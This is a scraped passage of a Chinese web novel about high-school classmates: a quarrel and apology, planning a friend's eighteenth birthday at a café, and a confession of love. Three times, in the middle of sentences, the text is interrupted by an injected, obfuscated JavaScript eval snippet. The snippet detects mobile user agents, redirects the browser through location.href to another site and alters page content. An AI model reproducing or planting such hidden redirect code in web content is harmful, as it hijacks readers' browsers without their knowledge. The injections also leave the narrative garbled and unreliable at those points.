“骆眀昭今天没来上学啊?”林雨彤手里捏着蛋白棒排在打饭队伍里,她今天不吃饭,是帮去小卖铺买水的薛游排的。 梁若璇排在她身后,说:“对啊,刚昭昭给我回微信,说是姨妈痛,请假了。” 林雨彤诧异着:“就她那比牛还壮的身子还会痛经啊?从没听说过啊。” 她俩的话就这么传进后面牧时桉的耳朵里,他垂着眼,目光似乎在看地面。 “站那干嘛,望风呢?”梁若璇回头叫他,牧时桉抬起头才发现队伍早已经前进一大截,他仍逗留在原地。 薛游怀里抱着四瓶水,朝着他们跑过来,牧时桉偏头正好同他目光对视,他于是往一旁撤了半步:“你在这排着吧,我不吃了。” “那你不吃饭干嘛去?”薛游问。 牧时桉从他身后走过,顺手从他怀着抽了瓶矿泉水,往食堂门口走:“不饿。” 林雨彤刚咬了口蛋白棒:“你早说啊,我就不帮他排了。” 离开食堂,牧时桉就径直走向了高二教学楼,这个时间很少会有人还在楼里,踏进楼里就能感觉到空寂无人。 他垂手拎着水瓶瓶盖处,刚大步走到一班后门,就瞧见个人影,眸光晦暗。 林以征站在自己座位旁的过道,面无表情地在整理书包,看快速程度,他简直像随手抓到什么包里塞,将他需要的东西装满后就合上拉链,刚背上书包,就跟站在后门处的牧时桉成功对视。 牧时桉手插着兜,走到教室后排自己的位置,拉开椅子:“要走?” 说出来的话似是寒暄,但却没一点温度,声音冷淡,实际上他们原本也不熟。 新同学来一班这两个多月,即便是前后桌两人也没说过一次话,上一次还是为了帮林雨彤要联系方式时,在咖啡厅的那次,牧时桉也不太清楚,自己什么时候也会客套了。 “呆着没意思。”林以征抬起头看他一眼,表情读不懂,话落便从牧时桉身后经过,大步离开教室。 牧时桉将水瓶平放到桌上,走廊里的脚步声逐渐减弱,直至听不见任何声音。 四下几乎寂静,唯独半敞着的窗户透进风,吹响讲台上摞起的试卷沙沙响。 牧时桉的心彻底乱了,跟这风一样的没有规律。 他趴在桌上眼睛闭着,试图敛住心神,可脑子里重复不断的全是前夜他站在窗边所看到的场景,他就这么看了许久。 少女独自靠路灯站着,手里捧着大份炸鸡柳,牧时桉猜她大概在碎碎念,三楼其实不算高,这么静的夜,若是她没有刻意压制音量,敞开窗户说不定能听到她在讲什么。 但是他没这么做。 牧时桉觉得自己大概是疯了吧,居然有一天能这么容易被情绪左右。 面对骆眀昭他总是束手无策。 应该道歉的, 他撑起身子从裤兜里摸出手机,点开那个备注眼睛emoji的聊天框,他一直没改,因为代表着他们有些荒唐又有趣的初遇。 牧时桉的手指悬在半空中,始终没有输入字符,沉默许久后叹了口气,他退到桌面点开浏览器搜索框输入——怎样才能知道有没有被删除微信。 [尝试为对方转账,如果可以输入支付密码,那就证明没被删除。] 网上是这么说的。 他屏住呼吸,按着教程一步步尝试,然后…… 好友还在。 牧时桉长长地松了口气,还好。 他飞快地敲击着屏幕,终于有勇气输入进去这句话,点击发送。 卅:【昨天对不起,我不应该那样的。】 他静静等着,等待着会不会有一条新消息回复给他,视线片刻不离屏幕。 逐渐有回到教室里的同学,牧时桉却始终维持着这个姿势。 二十五分钟,距离他发送微信已经过去了这么长时间。 但他始终没能收到回信。 牧时桉眼眸微动,半晌无奈地轻笑了一下,伸手改掉了给骆眀昭的备注后,便暗灭了屏幕,将手机塞进书包深处。 他这次,将眼睛改成了明亮的太阳。 牧时桉你果然疯了。 - 骆齐冲好痛经宝给骆眀昭端到桌上时,她还在往手机的方向瞄。 “这一早上,你眼睛就没离开过手机,”骆齐撇她一眼,“你要实在今天还不想去上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115173|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学,就在家里再休息一天也行。” 骆眀昭赶紧端起杯子,猛干一杯,又苦又涩的味道在嘴里蔓延,她赶紧咬了口鸡蛋饼平复,刷着蒜蓉辣酱,骆齐摊的鸡蛋饼可是一绝。 “没说不去,我这就要走了。”骆眀昭放下杯子,起身把校服裤的褶皱捋平。 她一把拎起在沙发上的书包,背着离开准备去上学。 骆齐在背后问一句:“晚上用我去接你放学吗?” 说到这,骆眀昭正推开门,却看见牧时桉靠着楼道扶手站在她家面前,她愣了一瞬。 “问你呢,用吗?”骆齐见她没回话,又出声问了句。 骆眀昭掩下眸底慌乱,赶紧回:“再说吧。” 说着便关门离开了家。 这是骆眀昭上学最早的一天,往常这个点她还在赖床,昨晚上梁若璇告诉她班里昨天发了许多一轮复习资料,她这个点赶着去上学一是为了去整理书桌,二是为了她能用清楚这段时间整理思绪,想清楚她该怎么面对牧时桉。 骆眀昭插在校服口袋里的手攥了攥。 他干嘛今天也上学这么早—— 昨天牧时桉发给她的那条微信,她几乎是在发来的第一时间就看到了。 直到最后她也没回复,说实话她早就消气了,她这人气性不大,但她不知道如何回复。 “走这么早。”她说完,便故作正常地往楼下走。 牧时桉跟着下楼:“在等你。” 骆眀昭A计划是一切照旧,却没想到他这第一句话就差点让她破防,早晨的上学路,他什么时候等过她! “等我干嘛。”她快步走下楼梯,单元门就在眼前。 牧时桉:“怕你还在生气,那我会当面道歉。” 骆眀昭着急走出楼道,就是怕他说出些什么惊世骇俗的话来,但她却忘了。 这是牧时桉唉!是她见过的最直白的一人。 晨光熹微,清晨的空气格外清新,但骆眀昭却莫名觉得,含氧量似乎不太够。 “……我不生气了,就是有点心烦,我不明白你为什么忽然就炸了。”对待直白的人,就要坦坦荡荡比他更直球,这是骆明昭的planB。 牧时桉就站她身旁,垂下眸来,语调清冷:“因为我很讨厌林以征这个人,可以吗?” 骆眀昭闻言顿住,心里感慨,祖师爷还得是祖师爷。 她很少听过这么直接了当的爱憎描述。 至少是骆眀昭身旁的亲朋好友都只会说,比如觉得某人比较烦,或是跟某人不合拍,很喜欢或是很讨厌这都是很强烈地在表明情绪。 比起纳闷为什么牧时桉会讨厌他,骆眀昭还是更惊奇他的直白。 “唔,是吗?”她诧异着,“那我下次不跟你提他了。” 牧时桉看着她,嘴角不禁勾了下。 正要走,却听骆眀昭又说:“但是你不停我解释,打断我的话这事我很生气,你下次也不能这样。” 牧时桉顿了顿,莫名一副今后会改过自新的可怜样:“好,我不会了。” 晨起的清风拂过人脸,压下去几分骆眀昭耳根的红。 “咳,走吧,我要赶紧去学校,昨天不是发了复习资料吗?” “昨天顺手帮你收拾了。” “你收拾的我可找不见,我要按顺序收进文件袋里,各科的我早就准备好啦,有多余的要不送你一个,有大有小都超级好看。” “好。” …… 今天的上学路,比往常似乎要让人愉悦些。 59. 泡泡糖 从前原本骆眀昭还有兴致安排自己的周末应该如何过,随着日子一天天地在过,被一轮复习折磨着她也没了这个心情,每每回家后都掀开被子直接长睡不醒。 高三最后的决战结束,短暂放了几天占用考场假回到学校的一班学生们,一进班就瞧见蔡杨已经往告示板上贴了距离高考还有三百六十三天。 所有老师、周遭一切都在时刻提醒着紧迫性,心就这么绷在弦上。 宋晓在六月中旬休了产检,一班彻底由蔡杨接手,与此同时就是新来了一位代课的英语老师,是个年近退休的女教师,能力是有的,但经常是课讲着讲着,就开始讲起自己经历过的陈年旧事。 一班小范围地开始有些不满情绪,毕竟一轮复习打基础,虽然他们这些学生是各项都基础很牢固,但是谁都不想被浪费时间,可抱怨归抱怨,谁都知道学校很难在这个时候再给他们抽调新教师,就连这位都是刚从高三战场上光荣退伍连假都没休,直接来给他们代课的老师。 可就在刚习惯这位老师的教学风格没几天,期末考又如期而至,听说其他班都有安排时间为考试复习,一班没有停歇地在赶进度,所有人都只能用课余时间去复习期末考划分的范围。 他们没法不上心,这是高中最后一次冲刺一班的机会,升到高三就几乎不会在有任何班级变动情况发生,平行班也有许多人卯足了劲想要再尝试一次,一班学生必须至少保持成绩稳定,才不会有被分班的可能。 期末考试结束,所有人都短暂地松了口气,开始期盼着他们最后一个算是轻松的长假。 “你说今年咱们暑假有多久?”梁若璇朝后扭过身子,期中考试后还选了次座位,不过座位分布跟上次还大差不差,尤其她周围,还跟换座前一模一样。 骆眀昭戳着手里硬邦邦的冰激凌,刚从小卖铺里买来的:“唔,一个月吧?” “啊,才一个月啊?”梁若璇靠在椅背上,肉眼可见地没了精神。 牧时桉抬眼看她一眼:“高三你还想怎样?” “不是都说双减吗?我看也没减到哪里去啊。”梁若璇悠悠地念叨。 骆眀昭无奈地说:“小姐姐知足吧,前两年我们小区准高三生的暑假,就放了十五天。” 短暂课间结束,蔡杨踩着铃声尾巴进班,宣布放假通知,今年高二的暑假从明天七月十七号开始放假,八月十六号正式开学,果然骆眀昭说的没错,还真就正正好好是一个月。 她倒也不是神,主要是上上个课间去办公室搬暑假作业那会儿偷听到了。 暑假前的最后一天,没有晚自习,太阳还未西沉,各个班级里边闹腾地开始打扫教室收拾东西,有说有笑。 骆眀昭被安排洗黑板,梁若璇从教室外拎着扫把过来把头搭到她肩膀上,凑到耳边故作悬念地开口:“骆眀昭同学,你知道后天是什么日子吗?” “什么日子啊?”骆眀昭擦黑板的手不停,她深思着,“是放假第二天。” 梁若璇无语:“你说的似乎是废话。” “哎呦,行啦,不就是您梁大小姐出生十八周年纪念日吗?”骆眀昭嚼着泡泡糖扬唇笑着,伸手戳戳梁若璇的肚子。 梁某人傲娇地扬起下巴,说:“这还差不多。” 骆眀昭转过身,一脸看破地说:“刚从五楼跑下来吧?” “你怎么知道?” “嘿嘿,刚我彤给我发微信来着,说你亲自上楼提醒她了。” 梁若璇哑然。 可能是因为十八岁这个节点无论对谁来说都格外特殊,尤其梁若璇,她最盼着能早点长大脱离自家,所以这个日子将近,她更是无比兴奋。 擦黑板这是个轻松的活,就是对她来说稍微充满挑战了些,尤其像蔡杨这种个子比较高的老师总爱往最顶端写,她只能努力踮着脚去够那些边边角角的地方,偏偏现在学校都换成了白板,笔渍黑呼呼看得明显,她偷不得一点懒。 该死,这破黑板高得是不是有点过头了。 反正绝对是这黑板太高,而不是她个子矮,嗯一定是。 早知道刚刚梁若璇还在的时候叫她帮自己了,现在她只能狼狈地去找把椅子踩上去,正准备下讲台,身旁却多了个身影,林以征拿着她放在讲桌上另一块抹布帮她擦掉了最上边的污渍。 “还有吗?”林以征转过头,神色淡淡。 “……额,没了,”骆眀昭有些愣神,“谢谢你啊。” 她的话落,林以征就放下手里抹布,转身走下讲台,就留骆眀昭一个人凌乱。 这大学霸还挺热情友善?就是脸冷了点。 她瞥过去一眼,就拿着两块抹布准备往水房走。 擦黑板也是有讲究的,这种黑板多媒体合一的白板必须用拧干水的抹布擦,骆眀昭涮洗完抹布,就要擦黑板上的积灰处,黑板顶端都够不到更何况是那,不过骆眀昭也不打算让他再帮自己,这个不怎么熟悉的同学总感觉有点怪。 骆眀昭刚拿着抹布走出水房,就看见站在门口的牧时桉,似乎正等着她。 “你干嘛呢?门神啊?”她吓了一跳,来时候这还没人的。 他靠在墙边抱着胸,往她的方向望过来:“你黑板擦完了?” “没啊,还得擦一把上面的积灰。”她说。 牧时桉跟在她身旁,忽地笑了笑:“够得着吗?我帮你。” “……我真谢谢你啊。” “不用,互帮互助罢了。”牧时桉装作没听懂她话里含义,已经接过她手里的抹布。 骆眀昭眼睛微眨了下,望着空空的手心怔愣半秒。 哎,她手里抹布啥时候被拿走的? 再回神来牧时桉已经走到讲台上,轻松地够到她所不太方便够到的位置,校服半袖下的手臂向着高处抬起,线条凌厉分明。 骆眀昭装作不经意地偷看,她靠在教室前门的墙上,唇角很难下压。 唔,有点帅呦。 “好了。”他说。 骆眀昭回过神来,赶紧上前接过抹布,还得去涮洗呢。 “谢啦,”骆眀昭抬眸笑着,“不过你不是去倒垃圾吗?这么快就回来了?” 牧时桉轻点了下头:“倒完了。”然后回来就看见讲台上的一幕。 骆眀昭正要往水房走,却见牧时桉人还悠闲跟她身侧。 “我去洗抹布,你干嘛去?”她问。 牧时桉摊开手,上面满是灰尘:“我洗手。” 骆眀昭不好意思地轻咳一声,往水房走的步伐似乎加快了些。 教学楼每层有个专门的小水房,是为学生洗抹布、拖把用,毕竟若是跟卫生间混在一起多少不方便,所以这里一进去,地面便是脚印和泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125836|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泞。 也正因如此,大多数人不会选择来水房洗手,即便这备着洗手液。 水流哗哗,骆眀昭垂下头默默洗着抹布,牧时桉就站她旁边,很近,如果她不小心必定侧身贴住。 洗着洗着,她目光就不自觉偏开方向,视线里少年骨节分明的手在搓着泡沫,大概也是家里的影响,他也是七步洗手法,骆眀昭也是,从小骆齐他们就是这么教她的,要认真洗手。 揉搓、洗指缝、关节…… 那感觉很怪,其实清清白白的什么都没有,但她却莫名瞳孔缩紧,嗓子似乎也有些干,她大概得去多喝点水。 直到身侧的人伸手关闭水龙头,骆眀昭才赶紧跟着关水,使劲把手里的抹布拧干,似乎她只要越使劲,那些繁杂的思绪就能被跟着拧出去。 “好了?”只有他们两人的水房里他的声音回荡。 骆眀昭长呼出口气,甩甩手:“好了。” “刚谢了啊,要不我一个人擦黑板还挺费劲的。”在走廊里,骆眀昭又说。 牧时桉顿了片刻,悠悠开口:“刚刚不是有人帮你吗?” 刚刚…… 骆眀昭扭过头看他:“你不至于吧?” 自从上次牧时桉说讨厌林以征后,她还观察过一阵,两人之间好像的确有股很巧妙的磁场存在。 “你现在很像小时候,林雨彤很不喜欢我当初的同桌,就拉着我不许跟他玩一样,”骆眀昭歪头回忆着,“说起来你俩有什么恩怨纠葛是我不知道的?你为什么那么不喜欢他啊?” 她一直也没问过,今天忽地非常好奇。 “就单纯不合眼缘而已。”牧时桉没看她,径直朝教室后门走,只是落在骆眀昭眼里,总有种他落荒而逃的感觉。 单纯不合眼缘?真的吗?我不信。 骆眀昭眯着眼。 - 暑假的第一天上午,骆眀昭家就鸡飞狗跳。 王乐萍皱着眉,焦虑地不行,绕着家里走了好几圈:“我这身份证哪去了?” 骆眀昭和骆齐几乎把家里翻了个底朝天,也没帮她找到这身份证。 “别着急,不是明天才走呢?不行咱们办临时的也能上高铁,”骆齐安抚着她,话落又转头看向骆眀昭,“我跟你妈去上海,你真的不去?” 上海过两天有个关于口腔方面的研讨会,王乐萍和另一个同事代表去开会,正好后面还接着个周末,王乐萍就想这在那玩几天,骆齐如今身为自由职业者时间宽泛,能随时陪着去。 骆眀昭把玄关搁置杂物的盒子放在腿上,翻找着:“不啦,明天小璇过十八岁生日,说好去陪她过生日的,而且这两天太热了,我真不想出门……” 正说着,王乐萍惊呼一声:“对,我想起来了,在我办公室抽屉里呢,看我这记性。” 骆眀昭、骆齐:…… “行吧,那你自己在家注意安全啊。”骆齐一件件将客厅凌乱的物品摆放原位。 骆眀昭悠哉地盘腿坐沙发上,正刷iPad,却听骆齐忽地犹犹豫豫说道:“说起来,你生日是不也快到了,十八岁要不好好办一次?” “……” 客厅寂静,只有吵嚷的综艺声是从平板里发出来的。 想了很久,骆眀昭说。 “再说呗,大概不用,我也不太爱过生日。” 60. 双层吉士堡 前一天晚上还大言不惭地说要送王乐萍两人去高铁站,可惜次日骆眀昭小姐还是光荣地赖了床,一觉起来家里空空荡荡。 从枕头下摸出手机一看,早在十分钟以前骆齐已经给她发了坐上高铁的小视频。 骆眀昭揉揉眼睛后,又捂着嘴长长地打了个哈欠。 昨夜确实睡得比较晚,她盘腿坐在床上,又翻了翻前夜的聊天记录,正回忆着,却又收到一条消息。 卅:【醒了吗?】 昭昭是我:【嗯嗯!醒了!】 意识逐渐复苏,骆眀昭总算是想起来今日还有别的行程,立马翻身下床洗漱穿衣服。 半小时后,她就已经收拾利落推开家门,扬起头时楼道里牧时桉也刚好下楼。 骆眀昭攥着包的手紧了紧,回身锁住房门后,把钥匙塞进小挎包里。 “叔叔阿姨走了?”他今天穿了件很简单的白T和长裤,外头套了件蓝色衬衫,显得格外清爽。 骆眀昭跟在他身后下楼梯:“嗯,车开了快一小时。” 走出楼道,十点多的太阳已然开始全力运转着,在阴暗背光的楼道里呆久,猛地走出去感受刺眼的光线,骆眀昭不禁眯起眼睛来,手还在眼前挡了几秒。 她脚步停住,牧时桉也没着急走,回过头等待她适应室外,目光不经意扫过今日骆眀昭穿的这身白色连衣短裙,俏皮灵动,很适合她,而且甚至刚好和他的短袖是同种白色,他垂下眼往自己身上瞧了眼。 “走吧,”骆眀昭小跑两步跟上他,裙摆跟着那节奏跃动,“今天就咱俩?” 她侧过头不太确定地开口问,为了给梁若璇找生日场所正主必然不能跟着去,毕竟少了许多惊喜,林雨彤今天有翘不了的服表课,起码下午五点后才能恢复自由之身,还剩薛游。 两人往小区外走,牧时桉手抄在裤袋里,淡淡地回:“他今天有事。” “……哦,是这样啊。”骆眀昭声音拖得有些长,撑开遮阳伞的动作不禁有些卡顿,几乎直到走出小区才堪堪将伞面撑开。 事实上虽然认识快一年,但这是骆眀昭第一次单独和牧时桉出门,尽管已经熟得不能再熟,也不会两人单独约着出去,这多少有点奇怪。 她撑着遮阳伞躲着在阴影里,心脏一下下跳动清晰。 “车定位到巷口了,得走出去。”牧时桉说。 骆眀昭“嗯”一声表示会意,只是脸转向身侧,阳光似乎有些大。 “你热吗?要不给你一起遮一下?”她扭过头问,边说着还把握着伞把的手往高举了些。 “好,”牧时桉脚步停顿,伸出一只手竟直接握住伞把,离骆眀昭的手大概只有一厘米,“我来撑。” 骆眀昭对他突然的动作只感到猝不及防,只能赶紧收回手。 因为身高优势,牧时桉确实把伞能举得更高,骆眀昭就这么慢悠悠跟在身侧,忽然想起从前看过的古装剧,给皇帝出行总有侍从在一旁撑华盖。 噗,她真是浪漫终结者。 “车来了。”走出巷口,出租车已经停在路边。 骆眀昭赶紧甩开乱七八糟的想法,拉开副驾的门。 牧时桉收伞,忽然问:“你坐前边?” “哦,我穿裙子,靠车门坐比较方便,怎么了?”骆眀昭说。 牧时桉抬眸,片刻后回道:“没什么,上车吧。” 骆眀昭在副驾坐下,牧时桉拉开门就坐到后座,车起步后兜里的手机震了下,他掏出来看,是薛游的微信。 XY:【需要我去吗?不需要的话我接着睡了?】 卅:【睡觉吧。】 - 也不知道最近过生日、或是请客聚餐吃饭的怎么就这么多,问了几间比较像样的饭店,包厢全都订满了。 骆眀昭没吃早饭,饿的不行,跑了几家后两人随便找了个麦当劳解决午餐。 “要不直接开间酒店房间算了,”骆眀昭啃着个最爱的双层吉士,累到双眼无神,很快自己又否定了她的话,“但总感觉这样有些些草率啊,至少得是上次她给你准备的规格吧。” 牧时桉就坐她身侧,捏起鸡块吃着:“那咱们再找找。” 落地玻璃外酷暑难耐,而快餐店里冷气简直像不要钱似的开,没过一会儿就冻得她发颤。 骆眀昭一手捧着汉堡,空出来的那只手在轻轻搓着腿:“对,蛋糕还没定吧,绝对得定个那种外观漂亮的,那种能出片,而且绝对不能再犯上次的你那个蛋糕的那种意外……” “搭上。”牧时桉不知道什么时候脱掉自己的衬衫,搭在了骆眀昭腿上。 骆眀昭顿了一下,垂眸看着刚刚还在他身上的衣服现在出现在自己腿上,似乎还有温度,挡住了冷气侵袭。 “我,其实,”她原本想拒绝来着,但她是真的冷,她低下头微眯起眼来,“那谢谢哈。” 衣服蹭着皮肤上,感觉痒痒的,她双手捏着汉堡,目光偏到一边。 这个时候,几乎所有年级的学生只要是还在读书的,都已经开始了他们的暑假生活,骆眀昭两人在的麦当劳正处商圈,附近不是步行街就是商场,店里也全是年轻面孔。 隔着几张桌子,有几个看着年纪差不多的女生坐他们身后,也不知是骆眀昭她耳朵太尖,还是几个女生以为自己悄悄话非常小声,总之是听到了她们的对话。 “哇,那个男生好帅啊!” “那就是我刚刚取餐时给你指的那个,是不是很帅!” “人家有女朋友了,不过他女朋友看着也好可爱啊,而且很甜哎,还特意跟女朋友坐在一边,还给人家披衣服。” “呜呜,我酸了……” 骆眀昭越听耳朵越红,咬到嘴里的汉堡也不知道是该不该咽下去。 平时都是大家一起出门,他俩并排坐到一起还看不出什么来,就两人时,瞬间就感到特例独行来了,为了瞧不见牧时桉吃饭时的模样,这都成了被动技能而不自知了。 身后几个女生似乎话题已经拐到别处,骆眀昭才小心地往身侧看去,不知道牧时桉有没有听见,反正他看着挺正常的。 唔,上天保佑,希望他耳背,谢谢。 那股臊意好在只持续了一会儿,很快她就又专注到为选场地里了。 骆眀昭垂下脑袋,刷着本地热门帖子,无意识地念叨一句:“说起来你们家真的没给她定个饭店什么的?这次应该不会忽然生日当天说有个饭局吧。” 牧时桉握着可乐杯,里面的满杯冰块摇动起来还能发出声响,他掀起眼皮,默了一阵。 他问了孙惠,她又旁敲侧击地找自己婆婆问了一句,得到了确定的答案。 没有,没订饭店,也没通知别的亲戚。 虽然也不赞同他们孩子出去胡闹,但态度也没上次牧时桉过生日时坚决,很快就松了口。 “……没。”他说。 骆眀昭说那话时没走心,很快反应过来自己似乎说错话也无法挽回,只能安静地继续选地方。 - 吃完午餐他们又出发再次去找,只能说也不顺利,不是价格不合适,就是饭店年代太久远,装潢不尽如人意。 骆眀昭瘫坐在地铁站里的长椅上,双目都感觉失去焦距。 林雨彤课堂间隙远程打来视频电话察看进度:“……找个地方这么难啊!” “心态炸了!bang!我说真的。”骆眀昭举着手机,撅着嘴假哭。 林雨彤也跟着出主意:“要不找个代替方案呢?不一定非要吃饭啊,重点不就是拍照,吹蜡烛啥的,上次牧时桉生日咱们不都在肯德基过的吗?” “有道理哈,那还能有什么地方呢?咖啡店?”骆眀昭目光逐渐亮起来,感觉一语点醒梦中人,“咖啡店估计不行,那种地方都求静,不能太闹腾,或者——” “咖啡店我问问我姐啊,她就在咖啡店兼职,我去过一次,那店挺漂亮的,我给问问。”林雨彤忽然说。 几班地铁在眼前经过,手机那边终于收到了回复。 rainy:【我姐说你们可以去问问老板,应该有戏,地址在这。】 下面跟着一个定位,离他俩也就两站地铁。 骆眀昭抬起头跟一旁牧时桉说:“彤说,让咱们去问问苏苏姐工作的地方,反正死马当活马医,去看看?” “好。”牧时桉点头。 走出地铁站,面前是条很宽敞的林荫路,按照定位,两人找了过去。 离着不远骆眀昭就看到了门前的招牌,相遇coffee,下面挂着“open”的挂牌。 “会不会把咱俩赶出来啊,就拿个那种扫地僧大扫把,走你——”停在店门口,骆眀昭扭过头,手里还在比划着。 牧时桉被她的脑洞逗笑,嘴角扬得很高:“说不定哦。” 他故意吓唬她,不过骆眀昭也没被唬住,实在不行她拉着牧时桉就跑。 骆眀昭使力推开玻璃门,带动着门口挂着的风铃叮当作响,店里一个轻柔的女声随之响起:“欢迎光临。” “您好,我想找一下老板——”她刚小心翼翼开口,定睛瞧着就被眼前柜台后的女人惊到,“你不是那个,奶茶店那个姐姐?” 骆眀昭愣住,寒假时在商场奶茶店里,宽慰过她们的那个好心的小姐姐。 瞧见门口的骆眀昭,女人也大概也记起来她是谁,诧异着:“小妹妹,怎么是你啊?你不会就是苏苏那个妹妹吧?” 骆眀昭微笑着:“苏苏姐是我好朋友的姐姐。” 牧时桉没太懂她们之间的哑语,不过大概骆眀昭跟眼前的女人认识。 “真巧啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151042|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”女人也惊喜着,甚至还转头向后厨唤道,“虞承,还记得我之前跟你说的商场小妹妹吗?原来她们就是林苏的妹妹哎。” 从后厨很快出来个男人,应该就是她口中的虞承:“是吗?绮城这么小呢?” 几人寒暄一会儿,骆眀昭就开口说明来自:“……就是拍拍照什么的,大概晚上七点之后,不知道可不可以在姐姐的店里,我们会尽量小声的,或者如果需要什么费用我们也可以出。” 柜台里一男一女对视一眼,很快女人转过头笑着说:“七点以后没问题啊,店里基本都没有客人了,只要别太乱你们随便布置随便玩,费用不需要的,你们是苏苏的妹妹,也就是是我妹妹了,况且咱们这么有缘分。” “真的啊,谢谢姐姐!”骆眀昭兴奋地小跳了跳,回头跟牧时桉说,“咱们再去定个蛋糕,就OK啦!” “蛋糕?”对面男人忽然说,“我可以做啊,怎样小妹妹要不要相信哥哥。” “喂,能不能把你诈骗小姑娘的语气收起来!” “谁诈骗!” 骆眀昭还愣着,女人转过头跟她解释:“别看这个怪蜀黍不太着调,他做甜品很好吃的。”说完还从玻璃柜里直接拿出块切角递给她。 “这?”骆眀昭没从热情里回过神来。 “姐姐送你们的,”她递过来两只塑料叉,“弟弟你也试试。” 骆眀昭和牧时桉就这么被塞到手里叉子,迷迷糊糊站到柜台边就尝了一口。 哇,美味中的美味!极品中的极品! “太好吃了吧!”骆眀昭眼睛眨了又眨,全是被甜品包裹的幸福感。 男人一脸自豪地说:“是吧!哥可不是跟小妹妹你吹哦!” 骆眀昭扭过脸:“哎,就跟这个哥哥定吧?” 牧时桉表示同意地点点头。 经过一番讨论,确定了一个上面都是水果,拍出来一定好看的蛋糕,两个店主也很善良地只收了他们材料费,骆眀昭抱着一袋面包走出店门时,都是蹦蹦跳跳的。 “钱包空了,但是这面包太好吃了,不亏!”骆眀昭笑着说,“本来这一天都很背,还以为要倒霉到晚上呢,没想到一下就解决了!” 牧时桉落在她脸上的目光越发柔和,也可能是晚霞的光刚好,暖烘烘的却不燥热,令人沉沦。 骆眀昭遇见幸福的事就会像这般一直笑着,她并不自知,她的笑能影响身旁的很多人。 骆眀昭站在十字路口,用手机搜索着:“再多走一阵,前面有到咱们小区的公交。” 等着红灯,牧时桉忽地开口问:“那个女店主你认识?” “哦对,那次你没去,”骆眀昭才想起来这事,于是把故事跟他讲了一遍,“……我们当时对未来很迷茫嘛,那天心情都很丧,然后那个小姐姐就宽慰了我们来着。” 人行道灯变绿,两人并行着穿过斑马线上,街角夏风清凉,拂面而来的是舒适和惬意。 “是这样啊。”他说。 骆眀昭仰起头,瞧了眼天边橙色晚霞:“忽然觉得时间过得好快哦。” “怎么说?” “唔,你看你十八岁了,明天小璇也要过生日,我……”说到这她顿了下,“也很快,感觉长大这事好不真实哦。” 牧时桉是个很好的聆听者,这附近人行道上路人也不多,她能畅所欲言。 “成年就能做很多事了,比如开车,我也想做秋名山车王,然后成年是不是就没有宵禁了,嘿嘿尝试一下在外面玩个通宵,对了,酒吧也能去!成年我爸妈应该就同意我跟朋友出去旅行了,还有谈恋爱哎!”她絮絮叨叨地说着,在这么好的气氛下身心完全放松,几乎忘记身旁的人是谁。 牧时桉微微一怔,眼神转向她,眸子里闪着盈盈流光,逐渐漫开笑意。 “……上次林雨彤还说过了十八岁就没办法早恋了哎,其实我觉得说的有点道理,不过早不早恋的,有喜欢的人才最重要吧。” “所以你觉得有喜欢的人就应该勇敢表白是吗?”牧时桉忽然开口,清冽嗓音微沉,一字一顿。 骆眀昭脚步猛地定住,脑子瞬间一片空白,她,刚刚都说了什么? “我、我觉得,”她想起片段回忆,说到勇敢表白来着,“确实该勇敢表白,毕竟不能错过啊,勇敢冲上去。” 劝旁人的话一向脱口而出。 “骆眀昭。”牧时桉忽然喊她的名字,声音温柔却郑重,简直不像平时的他。 骆眀昭随之偏过脸瞧他,瞳孔轻震。 世界沉寂,牧时桉只能听到自己心跳的声音,时间一分一秒过去,也许过去了十秒,或是二十秒,但总之他觉得过了很久很久,久到他终于做好准备。 他定定地瞧着她,眸底只剩炽热与坦诚。 “我喜欢你。” 61. 红酒 “昭昭,昭昭?” 骆眀昭恍然惊醒,她怔愣着,快速接受着眼前发生的一切。 面前梁若璇穿着粉紫色公主裙笑得灿烂,她伸手轻拍骆眀昭的肩膀,又不在乎今日美丽形象地勾肩搭背。 “店主姐姐说要帮咱们拍合照哎。”她嘻嘻地笑着。 骆眀昭扬起头,昨日见到的那个店主姐姐举着拍立得,站他们这群孩子的面前。 咖啡店女店主伸出手在比划着他们的站位:“那个小男生,你往沙发里靠一靠,取景框里要装不下你啦,然后苏苏妹妹,你可以坐在沙发上……” 梁若璇做着漂亮美甲的手在骆眀昭眼前晃晃,唤回她出走的意识:“想什么呢?看你在这发呆半天了。” “哦,没什么,走吧拍照去。”骆眀昭努力扬起嘴角挤出个笑容,从椅子上站起身来,被梁若璇牵着走到咖啡店角落的沙发前。 两个男生已经在店主的指挥摆弄下找到了自己位置,牧时桉和薛游分别半靠在沙发扶手上坐着,留给她们三个的就是在沙发上的座位。 沙发这处小角落被用心装饰过,挂着可爱的装饰,几串暖黄的小灯一闪一闪。 